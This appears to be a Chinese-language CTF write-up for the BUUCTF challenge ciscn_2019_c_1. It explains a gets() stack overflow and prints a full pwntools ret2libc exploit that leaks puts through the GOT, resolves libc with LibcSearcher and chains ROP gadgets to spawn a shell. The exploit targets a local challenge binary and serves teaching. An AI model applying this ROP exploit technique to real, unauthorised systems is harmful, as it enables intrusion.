BUUCTF ciscn_2019_c_1 题解

用checksec检查文件安全属性

在这里插入图片描述

  可以看到是64位程序,栈上开启了不可执行保护,但是没有栈检测标志,同时PIE也关闭了,推测需要进行缓冲区溢出.

使用IDA反汇编程序

在这里插入图片描述
  从反汇编后的代码可以看出这个程序是一个所谓的加密机,关键漏洞代码位于encrypt()内。
在这里插入图片描述
  这个函数中有我们非常熟悉的gets(),这里显然可以进行缓冲区溢出利用,中间的部分是对字符串进行处理,我们不需要看得太仔细,因为可以通过传入\x00字符使循环提前终止,这样就不会影响我们的payload的了。

获取libc基址

   接下来就需要寻找system()的函数构造POC了。但是经过我们仔细查找,程序中没有任何可以利用的函数,而且也没有关于shell的字符串,因此我们只能寄希望于libc了,我们可以借助puts()函数将puts()的真实装载地址给打印出来,然后利用LibcSearcher库搜索满足条件的libc库。
为了构造payload,我们还需要一些gadget来帮助我们完成函数的调用,我们可以利用ROPgadget工具来帮我们查找,具体指令如下:

ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'

在这里插入图片描述
在amd64架构下,函数调用的第一个参数存放在rdi中,因此我们需要pop rdi;ret这条指令来帮助我们给函数参数赋值。
payload如下:

from pwn import  *
from LibcSearcher import *

context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
r=process('./ciscn_2019_c_1')
enc_addr=0x4009A0
pop_rdi_ret=0x0000000000400c83 
plt=elf.plt['puts']
got=elf.got['puts']
payload= b'\x00'*(0x50+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_addr)
r.sendline(b'1')
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvlines(2)
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
sysaddr=libcbase+libc.dump("system")
shell=libcbase+libc.dump("str_bin_sh")

这里需要用到plt表和外部函数调用的一些知识,读者可以自行查阅。在这里我们将got表中puts()表项的地址赋给了rdi,然后交给puts打印,puts()会答应puts()表项保存的值,即libc中puts()真实的装载地址,最后我们在返回地址中填入encrypt()的地址,程序又会重新回到encrypt()函数中。当得到真实装载地址后,我们可以利用LibcSearcher库进行搜索,得到符合条件的libc,然后可以算出虚拟内存中libc装载的基地址。
在这里插入图片描述
这里我们随便选择一个即可,如果后面程序报错就更换一个!

getshell

得到libc的基址后,我们就可以利用 LibcSearcher获取system()的装载地址和shell字符串的装载地址,然后构造POC了。

ret=0x00000000004006b9
payload= b'\x00'*(0x50+8)+p64(ret)+p64(pop_rdi_ret)+p64(shell)+p64(sysaddr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.interactive()

这个地方还会涉及到堆栈对齐的问题,有时候POC都构造正确了,但是运行时仍然报段错误,可能就是堆栈没有对齐,这是我们可以加入一条ret指令,改变一下堆栈,例如假如rsp指向了0xff88,这是一个没有对齐的地址,增加ret后就会变成0xff90,这个一个已经对齐的地址,可以正常运行。是否增加ret指令需要依据实际情况来判断,我们可以两种情况都尝试一下。

完整代码

from pwn import  *
from LibcSearcher import *

context.update(arch='amd64',log_level='debug')
elf=ELF("./ciscn_2019_c_1")
r=process('./ciscn_2019_c_1')
enc_addr=0x4009A0
pop_rdi_ret=0x0000000000400c83 
plt=elf.plt['puts']
got=elf.got['puts']
payload= b'\x00'*(0x50+8)+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(enc_addr)
r.sendline(b'1')
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.recvlines(2)
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
sysaddr=libcbase+libc.dump("system")
shell=libcbase+libc.dump("str_bin_sh")
ret=0x00000000004006b9
payload= b'\x00'*(0x50+8)+p64(ret)+p64(pop_rdi_ret)+p64(shell)+p64(sysaddr)
r.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)
r.interactive()

在这里插入图片描述
这题我尝试了好几个libc才找到正确的libc,麻了: (

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值